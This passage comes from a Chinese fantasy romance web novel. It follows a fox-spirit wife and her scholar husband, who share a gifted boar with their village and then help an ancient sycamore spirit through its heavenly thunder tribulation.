胡翘翘眼疾手快,一把扶住了她。 哎呀,真沉…… 王婶子好不容易站稳了,抬起手捂着额头,“哎呀,哎呀“地叫着,“我这是怎么了,头晕得不行,莫非是头风病又犯了……不行,我得马上回家休息……这事儿等我好些后再说吧……” 边说着,边急急忙忙地离开。 小青双手叉腰,看着她略显蹒跚却快步如飞的背影,哼哼冷笑,“胆小鬼,连天煞孤星都不敢娶,还敢娶妖怪么,哼!” 胡翘翘已经笑得弯下了腰。 转眼,日头到了中午。 后面的时间跟平常没什么不同,胡翘翘准备好午饭,等陈子均回来后,两人便叫上小青,一同吃饭。 胡翘翘给陈子均盛了饭。再准备去给她自己和小青盛饭时,小青已经端着两碗饭过来了。 “谢谢小青,辛苦啦。”胡翘翘接过饭碗,甜甜地一笑,“快坐下吃饭吧!” 小青怔了怔,没说什么,只是默默地端着饭碗坐下。 其实……和别人同桌吃饭这种事情,对她来说,也是颇为少有的体验。 妖族能用修炼代替进食,所以她和姐姐很少会一起吃东西,而姐姐在嫁给许仙之后,倒是会陪许仙吃饭,但她不喜欢许仙,所以也很少同他们夫妻俩一起吃饭。 而且,姐姐的口味和她也不同,为了淡化身上的妖气,姐姐选择吃素,大部分菜肴都是淡漠得像是没有味道,久而久之,姐姐的脾气也变得同那些菜一眼,几乎没有情绪,说什么做什么都是浅浅的、淡淡的,连笑都很少露出。 偶尔姐姐和她一同吃饭,两人也难得说上两三句话。 但胡翘翘不同,也许是因为她没了记忆的缘故,一开心就会变得格外孩子气,特别是因为她的“相公”,无论谁提到一点点关于陈子均的话题便足以让她喜上眉梢,叽叽喳喳,说个没完没了,不像个活了数百年能化形的妖怪,反而像个格外容易满足的小孩儿。 想到这里,小青又瞥了胡翘翘一眼,此刻,小狐妖虽捧着碗筷,却只顾着看陈子均吃饭,她眉眼弯弯地甜笑,还不时给他夹菜,柔声说相公要多吃一些。 若是平常人类女子也就罢了,但她可是妖怪呀! 为一个男人洗手作羹汤,再陪着他一块儿吃饭,这种在她的眼中平淡无趣到了极点的事情,在小狐妖那里,竟然有这么大的乐趣么? 如果这就是爱一个人的表现,那为什么姐姐嫁给许仙之后,却很少露出这样忘怀动情的笑呢? 第39章 分给大家 小青的心中又轻叹了口气。 其实一开始,姐姐只是为了报许仙前世的救命之恩,后来不知怎么的,姐姐又改了主意,决定嫁给他,用这种方式来偿还恩情。 在她看来,这样的报恩方式,真是太蠢了! 像是许仙那种金玉其表败絮其中的男人,只会满嘴甜言蜜语,其实对姐姐一点儿也不好,姐姐为他去盗养魂玉芝,他却连为她在青山宗面前说句话都不敢。 这样的男人有什么可嫁的,就算要嫁,至少也得…… 小青忽地一个激灵,回过神,暗道自己尽想些有的没的干什么,她现在可是人家的婢女,还得做一百年呢…… 这时,陈子均忽然道,“来客人了,小青,去将门打开。” 小青一愣,这才发现自己想得太入神,以至于忽略了外面传来的脚步声。 那脚步声很是沉重,地面似乎都在轻微震动。 她连忙放下筷子,起身走出厨房,同时心里想着来的会是谁。 下一秒,她便知道了答案。 一个黑瘦少年,单手扛着头体型庞大的野猪,此刻已到了院外。 顾行天停下脚步,对她问道,“大姐,公子在家么?” 小青:“……” 怎么又是这讨厌的黑小子! 有心想甩手就走,又怕陈子均不快,再看看已经有不少村民被这动静吸引了过来,只能冷着一张俏脸,伸手打开院门。 “在,进来吧。” 顾行天扛着野猪,大踏步进了院子。 正想要让这脾气甚差的绿衣大姐去叫陈子均一声,目光一扫,忽然见到了某道正朝他走过来的颀长身影,黑瘦的脸上顿时出现一抹激动。 “公子!”他连忙道。 陈子均微微一笑,淡淡问了句:“你怎么来了,你父亲的病情好些了么?” 顾行天放下肩上的野猪,这头野猪至少有三四百斤重,砰地一声,院子的地面都被震得颤了一颤。 跟着陈子均出来的胡翘翘吓了一跳,小声道:“哇,好大的野猪呀!” 方才被吸引来的村民还没走,一个个探头往院子里望,大半的视线都落在那野猪之上,心里的惊叹也与胡翘翘大同小异。 顾行天走了两步,在陈子均的面前站定,恭恭敬敬地道:“我爹的病已经好了大半,昨天都能下床活动了,我今天便是来向公子道谢的,这头野猪是我带来给公子的小小礼物,公子务必收下!” 陈子均扫了一眼,便道:“好。” 顾行天一怔,他本以为陈子均定会推让客气一番,他甚至都提前想好了该如何说服陈子均,让对方同意收下的说辞,没想到陈子均竟答应得如此爽快。 哪怕他平时是个不善表露情绪的性子,此刻也盖不住惊讶的表情,似乎都快要惊掉下巴。 小青看着眼里,觉得大大出气,又觉得大大可笑,轻蔑地哼笑了一声。 呵呵,这位的实力,怎么可能将区区一头野猪放在眼里。 又不是什么稀世奇珍,想收便收了,有什么可大惊小怪的。 “你既然拿来了,我就收下,”陈子均微微一笑,“这样一来,上次的事就算彻底两清,以后你就不要再拿东西来了。“ 顾行天却摇了摇头,神情无比坚定地道:“公子的大恩,顾行天此生都难报万一!下次我再猎到好东西,还是会给公子送来!” 陈子均无奈,但也没再拒绝,只道,“随你吧。” 反正再过几月,他就要和娘子去省城了,这小子再想要报恩,找不到他的人也没办法。 顾行天咧嘴一笑,“那我不打扰公子,先回去了。” “等一等,”陈子均唤住他,指着那头野猪道,“这猪太大,我留两条前腿便够了,余下的你拿走。” “对呀,这么大的一头野猪,我和相公十天半个月都吃不光,”胡翘翘也点着小脑袋,认真地附和,“我们要两条前腿就行。” 虽然野猪肉很美味,她有些舍不得,但既然相公说不要,她自然听相公的。 而且这么大的猪,两条前腿至少有几十斤重,也足够她和相公吃上半个月啦! 等到半个月之后,估计这野猪肉也吃腻了。 顾行天一怔,立即摇头。 “这头野猪是我特意送给公子的,哪有再拿走的道理,况且我要真这么做,我爹知道了肯定会狠狠打我一顿,公子若是嫌多了,自行处置即可!”不等陈子均说话,顾行天冲他再次恭敬一礼,便快步离去。 门外不远的几个村民看着野猪,个个满脸艳羡。 “秀才公运气真好,居然有人送这么大的一头野猪来……” “是啊,这猪得有好几百斤吧……” “一斤野猪肉都能卖近二十文钱呢……” 但羡慕归羡慕,陈子均夫妻俩在村中的人缘一贯极好,白崖村的村风又淳朴,所以也没人生出嫉妒之心。 陈子均沉吟了下,看向他们笑道:“这么大一头猪,我们夫妻两个是肯定吃不下的,这样吧,我们只要内脏,还有两条前腿,几斤肋排,余下的大家通知一下村里的其他人,每家都来分个几斤走吧。” 猪前腿和肋排算是野猪身上最好吃的几个部位之一,而内脏部位虽然血腥气大,却是妖族们的最爱,平时胡翘翘就挺爱吃的,所以他将这几样都留了下来。 那几个村民一听,都有些不可置信。 “秀才公,你真要将这头野猪分给我们?”有人半信半疑地问。 一斤普通的猪肉十来文,野猪肉的价格只高不低,还有猪皮猪鬃、那对獠牙,都能卖出钱来。倘若陈子均将这头野猪卖给镇上的酒楼,至少也能换回五六两银子,足够一户普通人家近三个月的开销。 但现在,他竟说要将野猪肉分给村里的其他人,听口气,还是家家有份?! 另一人忍不住道:“秀才公,还是别分啦,这头野猪能卖不少银子的。” “我自然知道,不过,这几年我和娘子一直受到大家的照顾,理应有所回报,”陈子均笑了笑,温声道,“再过几个月我们就要离开,就当它是送给大家的一份礼物吧。” 胡翘翘也频频点头,“是呀,平日里大家都对我们这么好,这些野猪肉分给你们,也是应该的!” 第40章 她因为他而骄傲~ 听陈子均这么说,那几个村民确定了他是真心诚意想要将猪肉分给大家,各个都喜笑颜开,立即跑去各家各户喊人。 没多久,人群乌拉拉地往陈子均住的屋舍涌来。 白崖村的村长,一个平时颇为和气的老头儿也来了,村长是一贯自诩走南闯北见过大世面的,镇定自若地指挥着村子里的几个壮年汉子将野猪搬出了院子,放在一片空地上,然后再让村中的屠夫来分割野猪。 屠夫先取下了两条前腿,最好的几斤肋排,还有陈子均点名要的下水部分,村长再让人将它们反复清洗,直到干干净净,凑近了都闻不出半点异味,只剩下鲜肉的清香,方才整整齐齐地码好,用厚厚的粽叶包起来,送到陈子均的家中。 余下的野猪肉过秤称出重量,而后,各家各户排着队,依次来领猪肉。 村长负责主持野猪肉的分配工作,若是家中人丁多的,分到的野猪肉便会稍多一些。家中人丁少的,肉便分得稍少一点,但部位会挑得好一点,相当的公平公正公开。 家家户户都颇为满意,人人都面带笑容,整个村子都充斥着欢乐无比的气氛,热闹得和过年差不多。 拿到肉的人也没急着回家,而是先来了陈子均这里,向他道谢。 “谢谢秀才公。” “真是好人。” “秀才公人这么好,将来必定高中状元。” 之前胡翘翘在牛车上碰到的那个年轻婶子,此时也抱着她的胖娃娃来了。 婶子握住胖娃娃白嫩藕节般的小手,边摇边笑道:“囡囡,我们来祝秀才公和秀才娘子长命百岁,一生平安。” 胖娃娃则是“咿咿呀呀”地叫着,仿佛听懂了娘亲的话,正在为陈子均和胡翘翘祝福。 众人都哈哈哈哈地笑了起来。 陈子均也微微一笑,谢过村中众人。 胡翘翘站在一边,兴奋得俏脸通红,目光明亮,眨也不眨地望着她心中挚爱的相公,见到相公如此受人欢迎,听着大家一句一句真心诚意的祝福,她只觉得比自己受人夸奖祝福还要开心、还要得意,心脏砰砰狂跳,胸口里那满满的骄傲,都快要溢出来了。 瞧呀,眼前这个受大家喜爱、被大家赞不绝口的人,是她的相公,也是全天下最好最好的人,这样的他,谁能不喜欢呢? 她真是因为他而好骄傲! 一直到陈子均说他必须去私塾了,众人才告别离去。 下午时,村中的各家又陆续送来了不少回礼,比如各种干货腊货、油盐酱醋、茶叶鲜果…… 一时间,原本就不算宽敞的堂屋被挤得满满当当。 陈子均傍晚回来时,也吓了一跳。 “怎么这么多东西?” “全是下午大家送来的……”胡翘翘依偎在陈子均的身边,目光扫过屋子里的一样样东西,心中忽然泛起淡淡的惆怅与不舍。 她抿了下唇,小声道,“相公呀,等我们过几个月去省城以后,是不是就不会再回白崖村了?” 陈子均明白她的意思,抬手揉了揉她的头顶,温声道,“不要紧,要是你以后想念白崖村了,我便陪你一起回来看看。” 闻言,胡翘翘立即用力点头,“嗯!” 现在已是暮春时分,气温日渐温暖,正常情况下,这几十斤的猪肉、内脏放不了两天便会腐坏。小青为它们施展了一个冰冻术,将它们冻起来,方便随吃随取,这样一来,就能保存至少半个月。 晚饭,胡翘翘便用青椒炒了一盘猪肝,再加满满一大碗红烧野猪排骨,然后还有上午刘婶子拿来的春笋,与后院的蘑菇一起做了道汤。 这头野猪肉的肉质紧实,又十分鲜美,即便是胡翘翘那相当朴实无华的厨艺,因为食材的缘故,也得到了一定的升华。 小青原本想好了,绝不吃那可恶小子拿来的东西,但最终还是没能抵抗住诱惑。 而且,她还一口气吃了两碗饭! 陈子均也夸奖道:“娘子晚上的菜做得不错。” 胡翘翘得到他的夸奖,小脸微红,心中越发甜了,给他夹菜的频率也越发高了。 晚饭之后,陈子均又拿了些煮熟的野猪内脏扔到后院给玉珠儿,后者吃完后建议下次不用煮,生的比较原汁原味,她更喜欢。 对此,陈子均置若罔闻。 有得吃就不错了,还挑三拣四,惯得你了! …… 戌时过半,陈子均合上了那本薄薄的《太阴感应诀》,“行了,今天就背到这里。” 《太阴感应诀》共分三层,第一层是入门,今晚胡翘翘终于能将入门的最后一部分背下。 胡翘翘先是一喜,接着又有些沮丧,“我太笨啦,前面好不容易背熟的那些,今天好像又忘了不少……” “囫囵吞枣的背下来,自然忘得快,读书要时常温习,直到彻底领悟里面的意思,才能记得牢固。”陈子均笑了笑,“后面几天就不学新的了,你将前面的再重新背熟,一点错漏都不能有,才能开始修行。” 他话说完,见到胡翘翘的眼中露出喜色,略一思忖,就明白了这喜色从何而来,忍不住伸手拧拧她的小脸,“听到不学新的,很开心吧?” 胡翘翘弯起眼,笑嘻嘻道,“也不是,反正和相公在一块儿,做什么都很开心。” 刚说完,她忽然想到什么,起身跑到床边,将搁在衣柜上的一件蓝色外袍拿了过来。 “相公,你起来一下。” 陈子均站起来,明知故问,“怎么了?” “袍子做好了,不过,我第一次做,担心会不合身,”胡翘翘抖开它,轻声说,“你现在试试,如果有哪儿不合适,明天我再修改。” “肯定合适。”陈子均说着,伸开双臂,任她将衣服套上身。 穿上后,胡翘翘又替他整理了一番,才往后退开两步,如水般的眼波在他身上徘徊了一会儿,渐渐有些挪不开眼。 明明只是一件普普通通的袍子,但在相公的身上,就变得分外出众,让她看一辈子都不会腻…… 第41章 避雨可以,避劫不行 陈子均等了半天,见她只直勾勾地看着他,不说话,屈起手指,在她额头上不轻不重地弹了一下,“娘子傻了?” 胡翘翘捂着额头,嘤咛一声,“相公你干嘛呀。” “我问你,发什么傻呢?” “因为相公太好看了呀……”胡翘翘眨眨眼,“我情不自禁便看傻了。” 陈子均笑,“马屁精。” 胡翘翘又仔细看了一遍,点点头,“应该没什么大的地方要改动啦,先脱下来吧,明儿我再修整一下线头什么的。” 陈子均反而伸手将它紧了紧,“不脱,今晚我要穿着它睡。” “为什么呀?”胡翘翘问。 “这是娘子亲手做的衣服,”陈子均一本正经地道,“穿着它睡觉,便如同抱着娘子一块儿睡觉一般。” 胡翘翘的心中一甜,接着又察觉不对,连忙道,“可翘翘就睡在你旁边,你想什么时候抱都可以的,不用抱衣服的呀!” 陈子均笑:“原来如此,我险些忘记了,还是娘子聪明伶俐。” 胡翘翘这才发现相公在逗她,顿时扑过去,一顿娇嗔加粉拳。 浓浓的夜色,在这一刻,似乎也变得甜蜜了几分。 …… …… 镇上一处屋舍内,那夜同吴老二见面的男人,此刻正面色阴沉,“你们说,吴老二下落不知?” 他身边还有另几人,其中一人回答:“自从那天他白日去了白崖村,然后就没再回来。” “所有地方都找过了吗?说不定他去赌钱,或者去找女人了?” “都找过了,这两日他没在镇上赌坊里出现过,他相好的女人也说一直没见过他。” 男人的脸色愈发难看了几分,怒气冲冲地道,“那他去哪儿了?这么大一个人,说不见便不见了,还下落不明,生死不知,总不能是那小娘子将他吃了吧?!” 余下几人面面相觑。 片刻后,其中一人猜测,“会不会是他事到临头不敢下手,又不想还那十两银子,所以……干脆躲了起来?” 男人皱了下眉,这种可能倒不是没有。 他来回走了几步,手往下用力一挥,冷冷道:“算了,不用管他,外人终究靠不住,我们自己再找机会,将那小娘子搞到手!” …… …… 同陈子均嬉闹片刻后,胡翘翘感觉夜风有些凉意,她走到窗边,抬头看了看天上乌黑的云层,厚得连月光都透不出一丝,后院的树叶也被吹得哗啦作响。 “这么大的风,今天晚上该不会下雨吧?” 话音刚落,远处的天空忽然涌出了一声沉闷的滚雷,胡翘翘吓了一跳,耳朵蹭地冒了出来,连忙将窗户关上。 “对了,还得把鸡笼放进厨房。” 晚上若是下大雨,那简陋的鸡笼是挡不住多少雨水的,到时候,剩下的那两只鸡便真的要被淋成落汤鸡了。 虽然这两只鸡迟早也会进她的肚子,但本着狐道主义,在吃掉它们之前,她还是会将它们照顾得好好的。 何况,若是鸡被淋湿了生病,相公怕有鸡瘟,就会不许她吃了, 陈子均道,“我去吧。” 他来到院子中,刚将鸡笼移到厨房,天空中又炸起一声响雷,比方才那个还要响亮几分,雪白的电光划破夜幕,几粒雨点也随之飘摇而落。 “相公,下雨了,快点回来。”胡翘翘喊。 陈子均正要转身,神念掠过某处,忽然停下脚步,道,“等会儿。” 胡翘翘一愣,“等什么?” 就在这时,院门被人轻轻敲响。 胡翘翘又愣了愣,“这么晚,是谁来了?” 陈子均走到门口,将门打开,露出了门外之人。 胡翘翘的视力极好,立即看清了,那人年约七旬,头上发、颌下须皆已纯白,一身粗麻布衣,看着如邻家老翁般和蔼,但样貌很是陌生,反正,她从没在村子里见过这老人。 更奇怪的是,这大半夜的,老人的手里还捧着一个树枝做成的鸟窝,里面有几只鸟儿在雷声中瑟瑟发抖。 陈子均看着那老人,开口问道,“老人家半夜敲门,所为何事?” 老人微微一笑道:“雷急雨骤,无处躲藏,故不请自来,想借秀才这里避避雨,不知可否?” 陈子均一怔,闻言打量了他一眼。 那老人心中一颤,虽只一眼,却似乎犀利无匹,似乎连他的神魂也无所遁形。 然后,陈子均眼中的神光一闪而没,又换作了翩翩书生的温润内敛,淡淡笑道,“在我这里避雨自然可以,避劫可不行。” 老人顿时一惊,知道自己的身份与算计已被对方洞悉,心里不由暗道一声惭愧,当即低眉顺眼道,“是我心思卑鄙了,望秀才恕罪。” 说罢,老人抬头望了望头顶乌黑的云层,以及云层之中那闪烁的白色电光,颓然轻叹一声。 他虽不知书生的真实身份和实力,但隐约能感觉到对方并非一般人。他算到今夜劫数临头,无计可施,方才抱着侥幸之心前来,希望能借对方之力分担少许。 但倘若据实以告,对方多半会拒绝,他便找了个“避雨”的借口,没想到,竟被对方一眼看穿。对方的实力必然远在他之上,深不可测,自己竟然还想要算计于他,真是愚蠢至极。 思及此,老人的心底又生出几分羞惭。 他已活了上千年,自问在这千年之中,从未起过半点害人的念头,连生活在身上的小鸟爬虫都悉心照顾,本以为已是天塌不惊,勘透生死,不料今夜大劫在即,他竟恐惧起来,一时糊涂,便想让这书生替他分担一些劫数之力,却没考虑到对方也可能被雷劫波及,危到性命! 唉,真是百年英名一朝丧,可耻可愧! 罢了,罢了,倘若今夜自己在雷劫中丧命,也只能认了,不能再连累别人。 这时候,胡翘翘也出来了。 她看着老人,好奇地问,“老爷爷,这么晚,又下雨啦,你是有什么事吗?” 老人望了她一眼,并未多说什么,只是略举起手中的鸟窝,低低喟叹着:“本不应再打扰秀才,只是,这几只小鸟儿一直在我身上长大,今夜总不能让它们也随我一同……希望秀才能帮我照顾它们一夜,倘若天明之时,我没来取回它们,秀才直接将它们放飞即可。” 没等陈子均答复,老人又从袖子中掏出了某个物事,递给陈子均,低声道,“这个权当是我付给秀才帮我看鸟的报酬,不知秀才能否答允?” 那是个木头刻成的葫芦,葫芦口有个软木塞。陈子均接过葫芦,拔开塞子,里面装了些澄碧晶莹的液体,与此同时,一股清香浓郁至极、让人闻之欲醉的气味也传了出来。 胡翘翘闻到,惊讶道,“什么东西这么香!” 陈子均则是轻噫了一声,“猴儿酒?” 第42章 我就是村头的那棵梧桐树 “秀才好见识。”老人赞了声,才道,“数百年前,这里还是一片山林,曾有猴群在我肚子里留下了一些猴儿酒,后来有位大修士路过,取了一半,作为交换,他替我开了灵智。剩下的一半猴儿酒,我一直舍不得喝,精心保存,但如今也只剩下这么一葫芦了。” 猴儿酒,是山中诸猴采百果与一洞酿出的美酒。 猴群始为贮藏越冬粮食,但若当季不缺越冬粮食,猴儿们便会忘记曾储藏过一洞百果,然后这一洞百果堆积在一起,位于底层的果实经过上层果物的挤压,破裂、产生果浆,慢慢发酵,最后酿成一洞百果酒,乃名猴儿酒。 说起来简单,这猴儿酒要获得却不容易,在爱酒之人的眼中,千金都不换。 首先,猴子们选择的空树用来存放百果,那必是能足够百果越冬不烂的树木,这样的树,一整座山可能也没几棵,还得要空心,还要密封……而且随着时间的流逝,酒液渐少,就更加稀少,获得也更加困难了。 当然,普通的猴儿酒既不是仙丹,也不是什么灵药,也没延年益寿的作用,只是美酒。但他拿出的这罐猴儿酒经过千百年的存放,已经醇厚到了极致,酒量不好的凡人光是闻一口,都会有醉意,一滴酒液,就能兑出一大罐极品美酒。 甚至于,不少修士已经百毒不侵,其身体会本能化解进入体内的普通毒素,但这猴儿酒不同,它只是醉人,却无毒性,所以身体本能不会排斥于它,再加上这酒醇厚无比,因此连修为深厚的修士都会被其醉倒。 只是这猴儿酒虽然珍贵,对他渡劫却没什么帮助,留下来也会在雷劫中化为飞灰,还不如拿来换这几只小鸟一条生路。 听到老人的话,胡翘翘却为之一怔。 “数百年前,猴子在老爷爷你的肚子里留下的猴儿酒?” 她这才仔细感受了一下,对方身上并没有人类气息,却又没有妖气,也没有鬼类的诡异死气,反而透着一种中正平和、自然清新、绵绵然、浑浑然的感觉,顿时有些好奇这老爷爷的具体身份。 “小娘子应该见过我许多次了,”老人看着她,露出个和蔼的笑,“我就是村头的那棵梧桐树,自名童正。” 哈?! 胡翘翘睁大眼,差点惊呼出声。 她自然知道村头的那棵梧桐树,据说在有白崖村之前,它便已经存在,乃是白崖村中腰身最粗、活得最久的一棵树。 那树不仅高耸入云,树干也粗得惊人,七八个成年男子合抱都不能完全抱得住,每到夏季,那撑开来覆盖了近百丈的巨大树冠,枝叶茂盛得几乎能遮住整个炎热的夏天。 不少村民都喜欢在那树下乘凉,还有孩子会手足并用地爬到树上,玩耍打秋千,胡翘翘有时也会在树下听那些婶子婆婆们扯些闲谈八卦,还有不少小鸟在枝叶间筑巢。 怎么,那棵树便是眼前的这老人? 她知道了,对方应该是梧桐树化成的精怪! 小狐狸急忙回忆,自己有没有做过折树枝或是剥树皮之类的淘气举动,确定没有后,才偷偷松了口气。 “原来是童爷爷。”她乖巧地打了个招呼,又在心中疑惑对方为何要将这些鸟儿交给自己相公照管一夜,不过她并未贸然开口询问,待会儿相公自然会告诉她。 陈子均沉吟片刻,将猴儿酒收起,再接过鸟窝,“好。” 童正微微一笑,此刻雨下如注,他全身湿透,双手合十,雪白的须发在风雨中飘飞:“多谢秀才了了我这最后一桩心事,我去了。” 转过身,刚走出数步,耳边忽然响起一道清冷的声音。 “万物生死,本自有定数,修行一途就是逆天行事,尤其是妖精异类,不为天地所钟,所以才会每隔千年遇一次天劫。但,这亦是天地的考验之一。”对方淡淡道,“天地间的气运有限,自然得留给那些大决心、大毅力、大执着的人,若你没有万死不悔的决心,若你无法忍受痛不欲生的磨砺,如何能脱凡胎换俗骨,又如何向天地证明你向道之心的坚定?还未开始便认输,就等于已经输了十成!” 童正全身一震,没有回头,伫立原地片刻,突地发出一声叹息。 这声叹息之中,有恍然,有明悟,有解脱。 “余数百载苦修,却一直浑浑噩噩,从未想到过这些。多亏今夜秀才之言,震醒了我这个木头脑袋!” 他说完,哈哈一笑,再不停留,衣袂飘飘,迎着滚滚的雷声大踏步而去。 陈子均收回视线,对胡翘翘道:“好了,我们也该回房睡觉了。” 卧房内,夫妻俩都换掉了被雨打湿的外衣,胡翘翘再为陈子均解开淋得半湿的头发,用葛布细细擦干,然后用妖力在掌心中产生少许热气,将他的头发一点点烘干。 “相公,刚才你对童爷爷说的那些话是什么意思?” 她一边烘着,一边又瞟了眼放在地上的鸟窝。此刻鸟窝已经用一个竹篓罩住,所以鸟儿飞不出来,“还有,为什么他要你帮他照顾这些鸟儿一晚?是因为今晚风雨太大,他怕小鸟淋了雨生病么?” “不是,”陈子均享受着她的小手在发间穿梭的温柔感觉,温声说,“他要度雷劫了,担心这些鸟儿被雷劫之威波及,所以才将它们送到我们这里。” “雷劫?!”胡翘翘吓了一跳,动作略微停顿。 “嗯,妖族和精怪一族,每千年都会遇到一次雷劫。只有成功度过,才能进入下一个阶段,如果过不去,便形神俱灭,身陨道消,任你千年万年的岁月,尽皆化为乌有。” “原来是这样……” 胡翘翘恍然,她倒不太担心雷劫的存在,毕竟在她看来,自己只是个小妖,离千年还遥远着呢,只是有些讶异和惊叹,“相公怎么连这些都懂得啊?!” “书上都有写,所以我才让你平时多读书,增长见识。” “知道啦,以后翘翘会多看书的。”胡翘翘吐了下舌头,又扭头看了眼窗外雷声阵阵的夜空,喃喃道,“原来这便是雷劫……相公,你觉得童爷爷能成功度过雷劫吗?” “这不是“我们觉得如何”,就能改变结果的事,”陈子均站起身,揉了揉她的脑袋,“行了,与其操些无用之心,不如先睡觉,明早答案自然就揭晓了。” 胡翘翘乖乖“哦。”了一声,和他一起上床躺下。 如往常一般,她搂着陈子均,将小脸贴在他的怀中,闭上眼后没多久,就陷入了甜甜的睡梦。 第43章 雷劫 风雨愈发狂暴,雷声滚滚。 村头那棵梧桐树的正上空,有一团巨大的乌云正在逐渐凝聚,漆黑如墨的云层之中,几缕粗大的电蛇流动不息,碰撞间,不停发出噼里啪啦的白光,照得乌云的颜色都有些发白。 童正仰头而望,他知道,这团云便是传说中的劫云,当它彻底凝聚后,雷劫便正式降临。 所有的雷劫,都是九重。 不过,劫雷的颜色又分为白、青、红、金四种,威力自小而大。 多亏他是草木成精,不喜食血肉,性格平和,数百年都没妄伤过任何生灵,是以,此刻他面对的,只是最低级的白色劫雷。 若换了些杀孽深重的妖精,度雷劫时,可能便是青色的劫雷了。 而红色劫雷,只有极少数罪恶滔天到罄竹难书的家伙才会遇到。 至于金色的劫雷,传说中上苍只在诛魔时降下。 但神魔大战已经结束不知多少万年,魔族几乎彻底绝迹,至少这数百年里,他从未见过金色劫雷的降临。 “秀才说得没错,若没有万死不悔的决心,若无法忍受痛不欲生的磨砺,如何能脱凡胎换俗骨,又如何向天地证明我向道之心的坚定?” 童正面色凝重肃然,默念完后,大袖一甩,脚步迈出,下一瞬,便与那棵参天般高大的梧桐树合为了一体。 而就在这一刻,第一记劫雷便毫无预兆地劈了下来。 巨大的树冠光芒一闪,直接与降下来的雷电结实相碰,雪白的电光沿着枝叶流动,大部分被枝叶给吸收了进去,竟生生抵消了这雷霆之威。 但树干也跟着颤动了几下,不少树皮呈现出枯焦之色,一些细小的枝干也哗啦哗啦地脱落下来。 童正脸色也有些发白,但他依旧畅快大笑,“不过如此!” 话音方落,第二道、第三道劫雷竟一先一后,接踵而至! 第二道比第一道更强,第三道又比第二道更强,接连两道毫无停顿地劈下,枝叶根本来不及吸收,大树顶部的枝冠瞬间被劈得外枯里透,一股浓重的烟焦味儿弥漫而出。 童正咬紧牙关,催动自己的树根发疯般地往大地深处钻去,全力汲取天地元气生机,不过两个呼吸的功夫,新的枝叶已经生根发芽、拱土抽条,梧桐树也再次恢复了葱茏茂盛。 但若有人此刻在它身边,仔细看去,便会发现,这些新抽出的枝条远不及旧枝条粗壮强韧。 童正的脸色也变得愈发凝重,这才过了三道劫雷而已,他多年积攒下来的元气已经消耗近半,而且他心知肚明,前三道劫雷不过是正餐前的开胃小菜,接下来的,才是真正的危机! 果然,又是连续三道劫雷劈下,每一道都又狠又快,亦是一道强过一道! 上一道劫雷造成的损失还未开始恢复,下一道紧跟着到来,这般的狂轰乱炸之下,童正的元气虽然极其旺盛,却也顶不住,顿时伤上加伤。当这三道劫雷告一段落时,它的树叶已经尽数掉完,大部分枝干也已焦黑脱落,只剩下极少数最粗壮的主干,以及被击得黑漆漆的树干。 “还有……还有三道!“ 童正盘坐的身躯已摇摇欲坠,眼中的神情,却依旧无比坚毅! 最后三道劫雷,必然是最强的! 他抬头望天,只见劫云中白浪滚滚,却没有立即劈下,显然,它也在酝酿最后最强的那几击! 童正不再犹豫,立即从怀中取出了一根树枝。 这树枝翠绿欲滴,光泽柔润,竟如玉石雕成,枝头还有两片青翠的嫩叶,在微微颤动。 这是他当年被那大修士开启灵智时点化的那一根树枝,这数百年里,一直被他细心润养,已经成了他的本命法宝、 童正拿出树枝,将其往不远处的地面一抛。 落地瞬间,树枝快速生根、壮大,转眼后,便形成了一棵与他一模一样的梧桐树! 下一道劫雷,终于出现。 在其出现的瞬间,空气都被细微的电流影响得震颤起来,如波浪般延展开去。 一道粗壮无比的雪白电光,从天而降,直奔那棵“假梧桐树”! “假梧桐树”直接被劫雷击中,巨大的压力让它砰地一声炸裂开来,四分五裂后很快消失,而倒数第三道劫雷,也随之消散于无形! 同时,它亦是为童正赢得了一丝喘息余地。 童正正要抓紧时间恢复少许。 突然,天地一片雪亮,倒数第二道劫雷,已经来临! 这道劫雷,威力惊人无比,甚至直接超过了之前几道劫雷的总和,此刻,它直接劈在原本就已经焦黑之极的树干之上,顿时,无数焦枯的树皮崩裂乱飞,黑烟直冲云霄,整个树干发出咔嚓一声的巨大悲鸣,从中断折,露出同样焦黑不堪的树心,甚至连土地深处的树根都被波及,纷纷断裂。 童正的面上露出筋疲力尽之色,雪白的须发尽数脱落,原本红润的脸色也变得枯败不堪,浑身更是电光滋滋作响。 他闭着眼,喃喃道,“还有……还有最后一道!” 其实他知道,自己已是油尽灯枯,只剩最后一缕生机勉强维系,下一道劫雷,他是决计不可能度得过的了。 这一刻,天空中的劫云也嗡鸣而起,仿若被无形的棍棒搅动,渐渐形成了一个巨大的漏斗形漩涡。 让人隐隐感觉,其中酝酿着的劫雷威力,似乎还远超过方才的倒数第二道劫雷! 天空之上劫云翻涌,终于到了极限。 雪白电光乍现,最强的一击,携着赫然凛凛的天地之威,呼啸着、咆哮着,如银河垂落,势不可挡地劈下! 童正用力坐直身子,神情变得平静如水,此刻他的心中没有丝毫杂念,唯一的举动,便是将周身仅存的微弱元气,竭尽全力聚集起来。 未到最后一刻,不可认输。 不,即便到最后一刻,他也不认输! 他不再在意那最后一道狂轰而下的劫雷,只凝心静气念诀,催动最后仅存的本命精元,很快,那仅剩半截的焦枯树心的表面,又渐渐生出了一层薄而软嫩的树皮,将树心包裹在其中。 就算这树皮只能抵挡亿万分之一的威力,他也要竭尽全力! 死,亦也无憾! 突然,树顶上空出现了一小块黑幽幽的物事。 原本只有巴掌大小,但其竟迎风而长,很快如巨大的画卷般徐徐展开,投下一片磅礴的虚影,直接将梧桐树给笼罩在其中,亦是同样,拦住了最后那道扑下来的劫雷。 劫雷劈在那物事上,那物事一颤,突然又生出一张大嘴,直接将劫雷一口吞下! 而后,它甚至还打了个嗝! 看着这一幕,巨大的轰鸣在童正的脑海中回荡而起。 这震撼让他几乎丧失思维之力,甚至连雷劫已过、劫云开始消散都未曾留意,只是双眼直勾勾地看着方才那吞下劫雷的物事又快速缩小,再度恢复到巴掌大小,然后落入到不远处的某个俊美书生的手心中。 童正只觉得匪夷所思,目瞪口呆:“这、这东西……究竟是什么?!” 第44章 雷果 陈子均自然不会向他解释这是息壤。 息壤是神造之物,蕴含神力,可吞天地万物,即便是同样因天地而生的劫雷也能照吞不误。 除此之外,息壤还能将任何吞下之物都转变成其自身养分的一部分,只要有足够的能量,它便能不停变大,或是用这些养分来催生更多生长在息壤上的灵植。 方才最后那道劫雷中的能量,便能在很长一段时间内,为息壤催生养魂玉芝提供足够的养分。 其实,在第一道劫雷出现时,陈子均就可以用息壤来吞吃劫雷。 